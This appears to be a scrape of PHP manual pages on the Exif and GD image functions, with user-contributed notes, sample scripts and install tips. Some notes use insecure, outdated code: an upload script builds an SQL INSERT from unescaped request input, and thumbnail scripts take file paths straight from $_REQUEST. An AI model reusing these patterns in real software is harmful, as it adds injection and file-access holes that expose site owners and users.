This cannot be fixed due to the fact that mbstring has been removed from PHP core (it has been 'unbundled') and the rest of core files and other extensions cannot use mbstring functionality when it is compiled as a shared library (dll).
"

If exif is compiled statically (--enable-exif) and mbstring compiled as a DSO module (--enable-mbstring=shared) then exif_read_data may only return a single character rather than the entire string.

Compiling both exif and mbstring statically (--enable-exif --enable-mbstring) resolves the issue.
mafo at mafo removethis dot sk 08-Aug-2007 10:57
some cameras (most higher models) have position senzor (gyroskope?) and taking-position is wrote in EXIF, here is simple script for automatic rotating images

<?php
$exif = exif_read_data($filename);
$ort = $exif['IFD0']['Orientation'];
    switch($ort)
    {
        case 1: // nothing
        break;

        case 2: // horizontal flip
            $image->flipImage($public,1);
        break;

        case 3: // 180 rotate left
            $image->rotateImage($public,180);
        break;

        case 4: // vertical flip
            $image->flipImage($public,2);
        break;

        case 5: // vertical flip + 90 rotate right
            $image->flipImage($public, 2);
                $image->rotateImage($public, -90);
        break;

        case 6: // 90 rotate right
            $image->rotateImage($public, -90);
        break;

        case 7: // horizontal flip + 90 rotate right
            $image->flipImage($public,1);
            $image->rotateImage($public, -90);
        break;

        case 8:    // 90 rotate left
            $image->rotateImage($public, 90);
        break;
    }

?>

$image->rotateImage() is inspired by example of http://php.net/manual/en/function.imagerotate.php
$image->flipImage() is inspired by http://php.net/manual/en/function.imagecopy.php#42803 (thank you)
05-Mar-2007 08:50
When reading EXIF information from the 'WINXP' group, you may need to change used encoding from the default "ISO-8859-15" to "UTF-8". This can be done in php.ini or in your code:

<?php
    ini_set('exif.encode_unicode', 'UTF-8');

    $exif = exif_read_data('TEST.JPG', 0, true);
    echo $exif['WINXP']['Title'];
?>

Useful documentation about EXIF:
http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/EXIF.html
See also comments next to XPTitle and XPAuthor.
gimpster at gimpster dot com 18-May-2004 01:24
I've written a library in pure PHP5 for editing EXIF tags. It deals with both reading and writing EXIF tags, and can be downloaded from http://pel.sourceforge.net/
noway at nowaysoft dot com 24-Feb-2004 05:44
Exif is very unstable under php4.1.2

If you have some problem, (the function didnt return anything, like a blocking call) try this:

$file = './image.jpg';
getimagesize ( $file , $info);

$exif = array();
if (isset($info)) {
    foreach($info as $key => $val) {
        if ($key != 'APP1') { $exif = read_exif_data($file); break; }
    }
}

-- Sharp
pekka at photography-on-the dot net 20-Nov-2003 02:50
For reading EXIF from XMP data embedded by Adobe Photoshop CS, see  http://www.photography-on-the.net/ee/beta/cs_xmp_to_exif.php


Get the header name for an index

  • « exif_read_data
  • exif_thumbnail »
  • PHP Manual
  • Exif Functions
  • Get the header name for an index

exif_tagname

(PHP 4 >= 4.2.0, PHP 5)

exif_tagname — Get the header name for an index

Description

string exif_tagname ( int $index )

Parameters

index

The Tag ID for which a Tag Name will be looked up.

Return Values

Returns the header name, or FALSE if index is not a defined EXIF tag id.

Examples

Example #1 exif_tagname() example

<?php
echo "256: ".exif_tagname(256).PHP_EOL;
echo "257: ".exif_tagname(257).PHP_EOL;
?>

The above example will output:

256: ImageWidth
257: ImageLength

See Also

  • exif_imagetype() - Determine the type of an image
  • » EXIF Specification
  • » EXIF Tags

User Contributed Notes

abc at ed48 dot com 22-Jun-2011 07:03
In association with exif_read_data:

<?php

# The tagnames can vary in different cameras

$imgdir = "/path_to_img/";
$img_file = "image_file.jpg";

echo $img_file . "&nbsp;&nbsp;&nbsp;<sub>TEST</sub>
<br />";
echo '<img src="' . $imgdir . $img_file . '" alt="'
 . $img_file . '" title="' . $img_file . '" width="400" /><br /><br />';

$xf_data = exif_read_data($imgdir . $img_file);

$tagg = exif_tagname(0X10F);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg];
$tagg = exif_tagname(0X110);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg];
$tagg = exif_tagname(0X132);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg];
$tagg = exif_tagname(0XA002);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg] . 'px';
$tagg = exif_tagname(0XA003);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg] . 'px';

?>
abc at ed48 dot com 21-Jun-2011 10:20
Theoretically, 65,535 tags are possible. Although not all are used, yet. The code below lists these tags:

<?php

for ($id = 1; $id <= 65535; $id++)
{
$dec2hex = dechex($id);

$strgx = '0x'. $dec2hex;

if(exif_tagname($strgx) != "")
{
echo $strgx . ' ( ' . exif_tagname($strgx) . ' )<br />';
}
}

?>


Retrieve the embedded thumbnail of a TIFF or JPEG image

  • « exif_tagname
  • read_exif_data »
  • PHP Manual
  • Exif Functions
  • Retrieve the embedded thumbnail of a TIFF or JPEG image

exif_thumbnail

(PHP 4 >= 4.2.0, PHP 5)

exif_thumbnail — Retrieve the embedded thumbnail of a TIFF or JPEG image

Description

string exif_thumbnail ( string $filename [, int &$width [, int &$height [, int &$imagetype ]]] )

exif_thumbnail() reads the embedded thumbnail of a TIFF or JPEG image.

If you want to deliver thumbnails through this function, you should send the mimetype information using the header() function.

It is possible that exif_thumbnail() cannot create an image but can determine its size. In this case, the return value is FALSE but width and height are set.

Parameters

filename

The name of the image file being read. This image contains an embedded thumbnail.

width

The return width of the returned thumbnail.

height

The returned height of the returned thumbnail.

imagetype

The returned image type of the returned thumbnail. This is either TIFF or JPEG.

Return Values

Returns the embedded thumbnail, or FALSE if the image contains no thumbnail.

Examples

Example #1 exif_thumbnail() example

<?php
if (array_key_exists('file', $_REQUEST)) {
    $image = exif_thumbnail($_REQUEST['file'], $width, $height, $type);
} else {
    $image = false;
}
if ($image!==false) {
    header('Content-type: ' .image_type_to_mime_type($type));
    echo $image;
    exit;
} else {
    // no thumbnail available, handle the error here
    echo 'No thumbnail available';
}
?>

See Also

  • exif_read_data() - Reads the EXIF headers from JPEG or TIFF
  • image_type_to_mime_type() - Get Mime-Type for image-type returned by getimagesize, exif_read_data, exif_thumbnail, exif_imagetype

User Contributed Notes

thrustvector at &#39;gee&#39;mail dot com 29-Jul-2008 10:40
If you've edited the image with image editing software and it no longer contains an exif thumbnail, I've created a script that will add one back into it, using the "PHP Exif Library": http://pel.sourceforge.net/index.php

<?php
require_once('../PEL/PelJpeg.php');
require_once('../PEL/PelIfd.php');
$fullpath = 'images/DSC_0013c.JPG';  # path of source image (does not contain an exif thumbnail)

$jpeg = new PelJpeg($fullpath);
 $exif = $jpeg->getExif();
 $tiff = $exif->getTiff();
 $ifd0 = $tiff->getIfd();        # need this so that we can later link it to the new IFD

 $ifd1 = $ifd0->getNextIfd();
if (!$ifd1) {        # Only create thumbnail if one doesn't exist (i.e. there is no IFD1)
    $ifd1 = new PelIfd(1);
    $ifd0->setNextIfd($ifd1); # point ifd0 to the new ifd1 (or else ifd1 will not be read)

    $original = ImageCreateFromString($jpeg->getBytes()); # create image resource of original
    $orig_w=imagesx($original);
    $orig_h=imagesy($original);
    $wmax = 160;
    $hmax = 120;

    if ($orig_w>$wmax || $orig_h>$hmax) {
        $thumb_w=$wmax;
        $thumb_h=$hmax;
        if ($thumb_w/$orig_w*$orig_h>$thumb_h)
            $thumb_w=round($thumb_h*$orig_w/$orig_h); # maintain aspect ratio
        else
            $thumb_h=round($thumb_w*$orig_h/$orig_w);
    }
    else { # only set the thumb's size if the original is larger than 'wmax'x'hmax'
        $thumb_w=$orig_w;
        $thumb_h=$orig_h;
    }

        # create image resource with thumbnail sizing
    $thumb=imagecreatetruecolor($thumb_w,$thumb_h);
        ## Resize original and copy to the blank thumb resource
    imagecopyresampled($thumb,$original,
                               0,0,0,0,$thumb_w,$thumb_h,$orig_w,$orig_h);

        # start writing output to buffer
    ob_start();
        # outputs thumb resource contents to buffer
    ImageJpeg($thumb);
        # create PelDataWindow from buffer thumb contents (and end output to buffer)
    $window = new PelDataWindow(ob_get_clean());

    if ($window) {

        $ifd1->setThumbnail($window); # set window data as thumbnail in ifd1
        $outpath = $fullpath; # overwrite original jpg file
        file_put_contents($outpath, $jpeg->getBytes()); # write everything to output filename
            # Show thumbnail in file:
        echo '<img src="thumb_exif.php?image='.$outpath.'" border=0 alt="If you see this, it did not work"><br>';

    }
}
else {
    echo 'ifd1 already exists! (IFD1 is where the thumbnail is stored)<br>';
}
?>
<?php # This is the code in thumb_exif.php :
        $imgdat = exif_thumbnail($_REQUEST['image'], $width, $height, $type);
        header('Content-type: ' . image_type_to_mime_type($type));
        echo($imgdat);
?>

If you have a lot of such files, you can easily make a script that searches them out and adds thumbnails to their exif.
Miguel Vitorino 08-Oct-2007 03:37
use this if you want to embed a thumbnail directly on the HTML page without writing it first to a file:

<?php
$image = exif_thumbnail($file, $width, $height, $type);

echo "<img  width='$width' height='$height' src='data:image/gif;base64,".base64_encode($image)."'>";
?>
05-Jan-2007 03:23
If you want to convert from TIFF to JPG you can use ImageMagick if it is installed in your server.

<?php
$exec = 'convert /path/to/file.tiff /path/to/file.jpg 2>&1';
@exec($exec, $exec_output, $exec_retval);

//possible error
print_r($exec_output)
?>
hanspeter dot debets at dendrite dot com 14-Jan-2005 03:35
Great that the thumbnail can be in TIFF format (f.i. Kodak cameras have embedded thumbnail in TIFF) BUT I have not been able to show TIFF as an embedded image in HTML (using the <IMG...> tag). There seems to be no function in PHP to change TIFF to, lets say, JPG. (imagecreatefromstring gives a 'unknown datatype' error for the TIFF stream. So below sample works great for JPEG embedded thumbnail, but not for TIFF embedded (but then, maybe I did something wrong?):

test_exif.php:

<HTML>
<HEAD>
    <TITLE>Test EXIF Read  </TITLE>
</HEAD>
<BODY>
<?php
$image='P0000614.JPG';
echo("<B>". $image. "</B>:<BR><BR>\n");

$exif = exif_read_data($image, 'ANY_TAG',true);
if (!$exif===false)
{
    echo("Image contains headers<br><br>");
    echo("<A href=showthumb.php?image=" . $image ."> <IMG border=0 src=showthumb.php?image=" . $image ."></A><BR><BR>");

    foreach ($exif as $key => $section)
    {
        foreach ($section as $name => $val)
        {
            echo "$key.$name: $val<br>\n";
        }
    }
}
else
{
    echo("Sorry, image <B>".$image . "</B> does not contain (readable) EXIF data.");
}
?>
</BODY>
</HTML>

showthumb.php:

<?php
$imgdat = exif_thumbnail($_REQUEST['image'],$width, $height, $type);
header('Content-type: ' . image_type_to_mime_type($type));
echo($imgdat);
?>

When clicking on the <A> opens the TIFF image in the program that windows assigned to this type, but the JPEG opens in the browser.

I am using PHP 4.3.6 on windows iis 4 (yeah, I know.....)
Eric 14-Jun-2004 04:05
This will allow you to manipulate the thumbnail image ($imgJpeg) using the various gd commands:

<?php
  if (($imgJpeg = exif_thumbnail($strImagePath)) === false)
    print "No Thumbnail!";
  else
    $imgJpeg = imageCreateFromString($imgJpeg);
?>


Alias of exif_read_data

  • « exif_thumbnail
  • GD »
  • PHP Manual
  • Exif Functions
  • Alias of exif_read_data

read_exif_data

(PHP 4 >= 4.0.1, PHP 5)

read_exif_data — Alias of exif_read_data()

Description

This function is an alias of: exif_read_data().

User Contributed Notes

There are no user contributed notes for this page.


Image Processing and GD

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • PNG creation with PHP
    • Adding watermarks to images using alpha channels
    • Using imagecopymerge to create a translucent watermark
  • GD and Image Functions
    • gd_info — Retrieve information about the currently installed GD library
    • getimagesize — Get the size of an image
    • getimagesizefromstring — Get the size of an image from a string
    • image_type_to_extension — Get file extension for image type
    • image_type_to_mime_type — Get Mime-Type for image-type returned by getimagesize, exif_read_data, exif_thumbnail, exif_imagetype
    • image2wbmp — Output image to browser or file
    • imageaffine — Return an image containing the affine transformed src image, using an optional clipping area
    • imageaffinematrixconcat — Concat two matrices (as in doing many ops in one go)
    • imageaffinematrixget — Return an image containing the affine tramsformed src image, using an optional clipping area
    • imagealphablending — Set the blending mode for an image
    • imageantialias — Should antialias functions be used or not
    • imagearc — Draws an arc
    • imagechar — Draw a character horizontally
    • imagecharup — Draw a character vertically
    • imagecolorallocate — Allocate a color for an image
    • imagecolorallocatealpha — Allocate a color for an image
    • imagecolorat — Get the index of the color of a pixel
    • imagecolorclosest — Get the index of the closest color to the specified color
    • imagecolorclosestalpha — Get the index of the closest color to the specified color + alpha
    • imagecolorclosesthwb — Get the index of the color which has the hue, white and blackness
    • imagecolordeallocate — De-allocate a color for an image
    • imagecolorexact — Get the index of the specified color
    • imagecolorexactalpha — Get the index of the specified color + alpha
    • imagecolormatch — Makes the colors of the palette version of an image more closely match the true color version
    • imagecolorresolve — Get the index of the specified color or its closest possible alternative
    • imagecolorresolvealpha — Get the index of the specified color + alpha or its closest possible alternative
    • imagecolorset — Set the color for the specified palette index
    • imagecolorsforindex — Get the colors for an index
    • imagecolorstotal — Find out the number of colors in an image's palette
    • imagecolortransparent — Define a color as transparent
    • imageconvolution — Apply a 3x3 convolution matrix, using coefficient and offset
    • imagecopy — Copy part of an image
    • imagecopymerge — Copy and merge part of an image
    • imagecopymergegray — Copy and merge part of an image with gray scale
    • imagecopyresampled — Copy and resize part of an image with resampling
    • imagecopyresized — Copy and resize part of an image
    • imagecreate — Create a new palette based image
    • imagecreatefromgd2 — Create a new image from GD2 file or URL
    • imagecreatefromgd2part — Create a new image from a given part of GD2 file or URL
    • imagecreatefromgd — Create a new image from GD file or URL
    • imagecreatefromgif — Create a new image from file or URL
    • imagecreatefromjpeg — Create a new image from file or URL
    • imagecreatefrompng — Create a new image from file or URL
    • imagecreatefromstring — Create a new image from the image stream in the string
    • imagecreatefromwbmp — Create a new image from file or URL
    • imagecreatefromwebp — Create a new image from file or URL
    • imagecreatefromxbm — Create a new image from file or URL
    • imagecreatefromxpm — Create a new image from file or URL
    • imagecreatetruecolor — Create a new true color image
    • imagecrop — Crop an image using the given coordinates and size, x, y, width and height
    • imagecropauto — Crop an image automatically using one of the available modes
    • imagedashedline — Draw a dashed line
    • imagedestroy — Destroy an image
    • imageellipse — Draw an ellipse
    • imagefill — Flood fill
    • imagefilledarc — Draw a partial arc and fill it
    • imagefilledellipse — Draw a filled ellipse
    • imagefilledpolygon — Draw a filled polygon
    • imagefilledrectangle — Draw a filled rectangle
    • imagefilltoborder — Flood fill to specific color
    • imagefilter — Applies a filter to an image
    • imageflip — Flips an image using a given mode
    • imagefontheight — Get font height
    • imagefontwidth — Get font width
    • imageftbbox — Give the bounding box of a text using fonts via freetype2
    • imagefttext — Write text to the image using fonts using FreeType 2
    • imagegammacorrect — Apply a gamma correction to a GD image
    • imagegd2 — Output GD2 image to browser or file
    • imagegd — Output GD image to browser or file
    • imagegif — Output image to browser or file
    • imagegrabscreen — Captures the whole screen
    • imagegrabwindow — Captures a window
    • imageinterlace — Enable or disable interlace
    • imageistruecolor — Finds whether an image is a truecolor image
    • imagejpeg — Output image to browser or file
    • imagelayereffect — Set the alpha blending flag to use the bundled libgd layering effects
    • imageline — Draw a line
    • imageloadfont — Load a new font
    • imagepalettecopy — Copy the palette from one image to another
    • imagepalettetotruecolor — Converts a palette based image to true color
    • imagepng — Output a PNG image to either the browser or a file
    • imagepolygon — Draws a polygon
    • imagepsbbox — Give the bounding box of a text rectangle using PostScript Type1 fonts
    • imagepsencodefont — Change the character encoding vector of a font
    • imagepsextendfont — Extend or condense a font
    • imagepsfreefont — Free memory used by a PostScript Type 1 font
    • imagepsloadfont — Load a PostScript Type 1 font from file
    • imagepsslantfont — Slant a font
    • imagepstext — Draws a text over an image using PostScript Type1 fonts
    • imagerectangle — Draw a rectangle
    • imagerotate — Rotate an image with a given angle
    • imagesavealpha — Set the flag to save full alpha channel information (as opposed to single-color transparency) when saving PNG images
    • imagescale — Scale an image using the given new width and height
    • imagesetbrush — Set the brush image for line drawing
    • imagesetinterpolation — Set the interpolation method
    • imagesetpixel — Set a single pixel
    • imagesetstyle — Set the style for line drawing
    • imagesetthickness — Set the thickness for line drawing
    • imagesettile — Set the tile image for filling
    • imagestring — Draw a string horizontally
    • imagestringup — Draw a string vertically
    • imagesx — Get image width
    • imagesy — Get image height
    • imagetruecolortopalette — Convert a true color image to a palette image
    • imagettfbbox — Give the bounding box of a text using TrueType fonts
    • imagettftext — Write text to the image using TrueType fonts
    • imagetypes — Return the image types supported by this PHP build
    • imagewbmp — Output image to browser or file
    • imagewebp — Output an WebP image to browser or file
    • imagexbm — Output an XBM image to browser or file
    • iptcembed — Embeds binary IPTC data into a JPEG image
    • iptcparse — Parse a binary IPTC block into single tags.
    • jpeg2wbmp — Convert JPEG image file to WBMP image file
    • png2wbmp — Convert PNG image file to WBMP image file

User Contributed Notes

Anonymous 15-Apr-2014 05:35
<form action="index.php" method="POST" enctype="multipart/form-data">
    Titel:
    <input type="text" name="titel" />
    File:
    <input type="file" name="image"> <input type="submit" name="submit" value="Verzend">
</form>

<?PHP
//connection
include('connection.php');
if(isset($_POST['submit']))
{
    if(($_POST['titel'])!="")
    {

$image = $_FILES['image']['tmp_name'];
$titel = $_REQUEST['titel'];

if (!isset($image))
    echo "Please upload an image" ;
    else
    {
        $image_size = getimagesize($_FILES['image']['tmp_name']);

        if($image_size==FALSE)
            echo "This is not an image, Nice Try!";
            else
            {

        $image = addslashes (file_get_contents ($_FILES['image']['tmp_name']));
        $image_name = addslashes ($_FILES ['image']['name']);
        $thumb = imagecreatetruecolor(100,100);
        $afb = $_FILES['image'];
        $temp = $afb['tmp_name'];
        $info = getimagesize($temp);
        $br = $info['0'];
        $hg = $info['1'];
        $ext = $info['2'];
        $source = imagecreatefromjpeg($temp);
        imagecopyresampled($thumb, $source, 0, 0, 0, 0, 100, 100, $br, $hg);
        $thumbname = "database/thumb/tn".$image_name;
        $thumbnailname = "tn".$image_name;
        imagejpeg ($thumb, $thumbname);
        move_uploaded_file ($_FILES['image']['tmp_name'], "database/".$image_name);
        move_uploaded_file ($_FILES['image']['tmp_name'], "database/thumb/".$thumbname);

                if (!$insert = mysql_query("INSERT INTO images VALUES('','$titel','$image_name','$thumbnailname')"))

                echo "Upload is not working.";
                else
                {

                $dir = 'database/';
                $base_url = 'http://www.yourdomainname.com/foto/database';
                $newest_mtime = 0;
                $show_file = 'BROKEN';
                if ($handle = opendir($dir)) {
                 while (false !== ($file = readdir($handle))) {
                    if (($file != '.') && ($file != '..')) {
                       $mtime = filemtime("$dir/$file");
                       if ($mtime > $newest_mtime) {
                          $newest_mtime = $mtime;
                          $show_file = "$base_url/$file";
                                   }
                            }
                          }
                    }
                print '<img src="' .$show_file. '" alt="$titel">';
                //thumbnail
                $dirthumb = 'database/thumb/';
                $base_urlthumb = 'http://www.yourdomainname.com/foto/database/thumb';
                $newest_mtime = 0;
                $show_file = 'BROKEN';
                if ($handle = opendir($dirthumb)) {
                 while (false !== ($file = readdir($handle))) {
                    if (($file != '.') && ($file != '..')) {
                       $mtime = filemtime("$dirthumb/$file");
                       if ($mtime > $newest_mtime) {
                          $newest_mtime = $mtime;
                          $show_file = "$base_urlthumb/$file";
                                   }
                            }
                          }
                    }
                print '<img src="' .$show_file. '" alt="$titel">';
                }
            }
    }

    }else { echo "Oops! Looks like you forgot to upload the image<br>"; }
}

?>
zsolt dot trenyik at gmail dot com 12-Aug-2013 03:33
According to  kurdtpage at gmail dot com, we faced a fairly strange behavior of GD. We saved an incluce file incorrectly, and everything worked (OCI8, other php functions) except GD. It took one and half day to find the reason, at the end commenting out the require part of the main file.

The solution was: we took a HEX editor to see if there is a problem with that .inc file. There was some crazy invisible characters before the <?php tag, signing that the text editor saved the file in utf format. These characters cannot be deleted, we had to open a new file in eclipse (notepad++ also works right), copy the visible part of the file to it, replace them, ready.

Maybe this detailed warning helps somebody.
herbert dot walde at googlemail dot com 04-Jan-2012 08:41
In case your script is using output-buffering-functions somewhere, then you have to clear the buffer first ( with ob_clear() ), before outputting an image with a function like imagepng().

And you should make sure that no buffer will get send after outputing an image by using the ob_end_flush()-function.

Furthermore you should check if a buffer has already been flushed somewhere before. This can be done using the headers_sent()-function.

Here is the full solution:

<?php
if(headers_sent()){
    die('Headers have been send somewhere within my script');
}

ob_clean(); //Clears the buffer

header('Content-type: image/png');
imagepng($img, NULL, 0,  NULL);

ob_end_flush(); //Now we send the header and image plus we make sure that nothing will get send from now on (including possible shutdown-functions and __destruct()-methods) till the end of page-execution
?>
donatj at gmail dot com 12-Jul-2011 10:43
UTF-8 is fine with GD - as well as any other Unicode transformation format - you just need to ensure your saved file doesn't contain the dreaded byte order mark.
kurdtpage at gmail dot com 28-Apr-2011 07:53
When using GD, please make sure of the following things:

1. The file that is used to manipulate images is saved as ANSI format and not UTF-8
2. There is no space in front of the opening tag <?php
mac_doggie at hotmail dot com 28-May-2010 04:50
A way to read the color of a pixel:

<?php
   $img = imagecreatefrompng("image1.png");

   $w = imagesx($img);
   $h = imagesy($img);

   for($y=0;$y<$h;$y++) {
      for($x=0;$x<$w;$x++) {
         $rgb = imagecolorat($img, $x, $y);
         $r = ($rgb >> 16) & 0xFF;
         $g = ($rgb >> 8) & 0xFF;
         $b = $rgb & 0xFF;
         echo "#".str_repeat("0",2-strlen(dechex($r))).dechex($r).
str_repeat("0",2-strlen(dechex($g))).dechex($g).
str_repeat("0",2-strlen(dechex($b))).dechex($b).",";
      }
      echo "<br />\r\n";
   }
?>

[EDIT BY thiago: merged two notes from same submitter.]
mail at ecross dot nl 03-Apr-2010 04:31
hello there,
i made a function to create a gradient image.

description:
gradient(int image_width, int image_height,
int start_red, int start_green, int start_blue,
int end_red, int end_green, int end_blue,
bool vertical)

function:
<?php
function gradient($image_width, $image_height,$c1_r, $c1_g, $c1_b, $c2_r, $c2_g, $c2_b, $vertical=false)
{
// first: lets type cast;
$image_width = (integer)$image_width;
$image_height = (integer)$image_height;
$c1_r = (integer)$c1_r;
$c1_g = (integer)$c1_g;
$c1_b = (integer)$c1_b;
$c2_r = (integer)$c2_r;
$c2_g = (integer)$c2_g;
$c2_b = (integer)$c2_b;
$vertical = (bool)$vertical;

// create a image
$image  = imagecreatetruecolor($image_width, $image_height);

// make the gradient
for($i=0; $i<$image_height; $i++)
{
$color_r = floor($i * ($c2_r-$c1_r) / $image_height)+$c1_r;
$color_g = floor($i * ($c2_g-$c1_g) / $image_height)+$c1_g;
$color_b = floor($i * ($c2_b-$c1_b) / $image_height)+$c1_b;

$color = ImageColorAllocate($image, $color_r, $color_g, $color_b);
imageline($image, 0, $i, $image_width, $i, $color);
}

# Prints out all the figures and picture and frees memory
header('Content-type: image/png');

if($vertical){$image = imagerotate($image, 90, 0);}
ImagePNG($image);
imagedestroy($image);
}
?>
Thomas 10-Dec-2008 11:05
You know, maybe this goes without saying, but I thought I would drop a note in here.  When developing code to resize images, it is best not to use GD.  When using the current GD methodologies, you are reading content from an image and manipulating it.  By then writing that content to a brand new file, you are losing the EXIF data.

For purposes when you want to retain EXIF data, it is recommended that you compile in and use the PECL Imagick extension.  It has great resizing methods built right in and the EXIF data is retained.
code at ashleyhunt dot co dot uk 24-Oct-2008 03:02
I have been looking to send the output from GD to a text string without proxying via a file or to a browser.

I have come up with a solution.

This code buffers the output between the ob_start() and ob_end() functions into ob_get_contents()

See the example below

<?php
// Create a test source image for this example
$im = imagecreatetruecolor(300, 50);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// start buffering
ob_start();
// output jpeg (or any other chosen) format & quality
imagejpeg($im, NULL, 85);
// capture output to string
$contents = ob_get_contents();
// end capture
ob_end_clean();

// be tidy; free up memory
imagedestroy($im);

// lastly (for the example) we are writing the string to a file
$fh = fopen("./temp/img.jpg", "a+" );
    fwrite( $fh, $contents );
fclose( $fh );
?>

Enjoy!
Ashley


Introduction

PHP is not limited to creating just HTML output. It can also be used to create and manipulate image files in a variety of different image formats, including GIF, PNG, JPEG, WBMP, and XPM. Even more convenient, PHP can output image streams directly to a browser. You will need to compile PHP with the GD library of image functions for this to work. GD and PHP may also require other libraries, depending on which image formats you want to work with.

You can use the image functions in PHP to get the size of JPEG, GIF, PNG, SWF, TIFF and JPEG2000 images.

With the exif extension, you are able to work with information stored in headers of JPEG and TIFF images. This way you can read meta data generated by digital cameras. The exif functions do not require the GD library.

Note: Read the requirements section about how to expand image capabilities to read, write and modify images. To read meta data of pictures taken by digital cameras you need the above mentioned exif extension.

Note: The getimagesize() function does not require the GD extension.

GD supports a varity of formats, below is a list of formats supported by GD and notes to their availability including read/write support.

Formats supported by GD
Format | Read support | Write support | Notes
JPEG | TRUE | TRUE | GD 1.8+
PNG | TRUE | TRUE |
GIF | TRUE | TRUE | Not available between GD 1.6 and GD 2.0.28
XBM | TRUE | TRUE | Read support as of PHP 4.0.1 and write support as of PHP 5.0.0
XPM | TRUE | FALSE | Read support as of PHP 4.0.1, not available on Windows. Requires bundled version of GD
WBMP | TRUE | TRUE | GD 1.8+
WebP | TRUE | TRUE | GD 2.1+, PHP 5.5+

Despite most formats being available for both reading and writing in the above table, doesn't mean that PHP was compiled with support for them. To find out which formats that was available to GD during compilation, use the gd_info() function, for more information about compiling support for one or more formats, see the installation chapter.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

If you have the GD library (available at » http://www.libgd.org/) you will also be able to create and manipulate images.

The format of images you are able to manipulate depend on the version of GD you install, and any other libraries GD might need to access those image formats. Versions of GD older than gd-1.6 support GIF format images, and do not support PNG, where versions greater than gd-1.6 and less than gd-2.0.28 support PNG, not GIF. GIF support was re-enabled in gd-2.0.28.

Note: Since PHP 4.3 there is a bundled version of the GD lib. This bundled version has some additional features like alpha blending, and should be used in preference to the external library since its codebase is better maintained and more stable.

You may wish to enhance GD to handle more image formats.

Supported image formats
Image format | Library to download | Notes
gif |  | Only supported in GD versions older than gd-1.6 and newer than gd-2.0.28. Read-only GIF support is available with PHP 4.3.0 and the bundled GD-library. Write support is available since PHP 4.3.9 and PHP 5.0.1.
jpeg | » http://www.ijg.org/ | When building the jpeg library (prior to building PHP) you must use the --enable-shared option in the configure step. If you do not, you will receive an error saying libjpeg.(a|so) not found when you get to the configure step of building PHP.
png | » http://www.libpng.org/pub/png/libpng.html | Only supported in GD versions greater than gd-1.6.
xpm | » ftp://metalab.unc.edu/pub/Linux/libs/X/!INDEX.html | It's likely you have this library already available, if your system has an installed X-Environment.

You may wish to enhance GD to deal with different fonts. The following font libraries are supported:

Supported font libraries
Font library | Download | Notes
FreeType 1.x | » http://www.freetype.org/ | This deprecated feature will certainly be removed in the future.
FreeType 2 | » http://www.freetype.org/ |
T1lib | » ftp://sunsite.unc.edu/pub/Linux/libs/graphics/) | Support for Postscript Type 1 fonts.

User Contributed Notes

munyivangea at yahoo dot com 25-Oct-2014 08:16
To avoid issues with GD ensure you have the following set in your php.ini

output_buffering = Off
error_reporting = E_COMPILE_ERROR|E_RECOVERABLE_ERROR|E_ERROR|E_CORE_ERROR

Then restart apache.


Installation

To enable GD-support configure PHP --with-gd[=DIR] , where DIR is the GD base install directory. To use the recommended bundled version of the GD library (which was first bundled in PHP 4.3.0), use the configure option --with-gd . GD library requires libpng and libjpeg to compile.

In Windows, you'll include the GD2 DLL php_gd2.dll as an extension in php.ini. The GD1 DLL php_gd.dll was removed in PHP 4.3.2. Also note that the preferred truecolor image functions, such as imagecreatetruecolor(), require GD2.

Enhance the capabilities of GD to handle more image formats by specifying the --with-XXXX configure switch to your PHP configure line.

Supported image formats
Image Format | Configure Switch
jpeg | To enable support for jpeg add --with-jpeg-dir=DIR . Jpeg 6b, 7 or 8 are supported.
png | To enable support for png add --with-png-dir=DIR . Note, libpng requires the zlib library, therefore add --with-zlib-dir[=DIR] to your configure line.
xpm | To enable support for xpm add --with-xpm-dir=DIR . If configure is not able to find the required libraries, you may add the path to your X11 libraries.

Note: When compiling PHP with libpng, you must use the same version that was linked with the GD library.

Enhance the capabilities of GD to deal with different fonts by specifying the --with-XXXX configure switch to your PHP configure line.

Supported font libraries
Font library | Configure Switch
FreeType 2 | To enable support for FreeType 2 add --with-freetype-dir=DIR .
T1lib | To enable support for T1lib (Postscript Type 1 fonts) add --with-t1lib[=DIR] .
Native TrueType string function | To enable support for native TrueType string function add --enable-gd-native-ttf .

User Contributed Notes

leyluj21 at gmail dot com 23-Oct-2014 06:58
If you are using PHPBREW , the extension is called gd.
So you do.
```
phpbrew ext install gd
```

It will compile the extension to the core.
RB 18-Sep-2014 06:34
Ubuntu 14.04

apt-get install php5-gd
service apache2 restart

Fixed my Joomla / Kunena install for my LAMP-server.
james dot a dot munsch at gmail dot com 06-Sep-2014 07:19
sudo apt-get install php5-gd && sudo service apache2 restart

To install under Ubuntu 14.04.
PHP Compiler 22-Dec-2013 07:58
To all smart-willys who come here to tell us you installed GD with package management: No one cares if you used packages management to install GD. This is for people who compile from source.
MIguel G 14-Jul-2013 02:43
If your are suffering with PHP53 on CentOS and GD,
just
yum install php53-gd
alejo dot jm at gmail dot com 20-Jul-2012 03:47
On Macox lion with mac port just use:
sudo port install php5-gd
Regular Guy 05-Feb-2012 01:51
CentOS 6

yum install php-gd

worked, no need to recompile.
drummerpatch at gmail dot com 29-Jan-2012 06:45
Running a Debian Squeeze server, all I had to do to add support for GD to my Apache server was simply run `apt-get install php5-gd` and then restart Apache. No recompiling or reconfiguring or anything. Simple!
florian 31-Jul-2011 11:50
People having difficulties setting the --with-libdir option needs to set it like this :

--with-libdir=lib64

That option works fine. Doing --with-libdir=/usr/lib64 doesn't work because the configure script prepends the --prefix option before the --with-libdir option. So, doing --with-libdir=/usr/lib64 makes the configure script to look for libs in /usr/usr/lib64, which is wrong of course, and not in /usr/lib64.
Joseph Marlin 23-Jun-2011 03:07
I also had to install the libgd package in addition to php5-gd:

sudo apt-get install libgd2-xpm-dev*
octopus at logicaloctopus dot com 17-Apr-2011 09:07
I was running PHP on a SUSE box on amazon EC2.
to get gd to work all I had to do was to run:
> yast -i php5_gd

and when that completed I just restarted apache. voila!
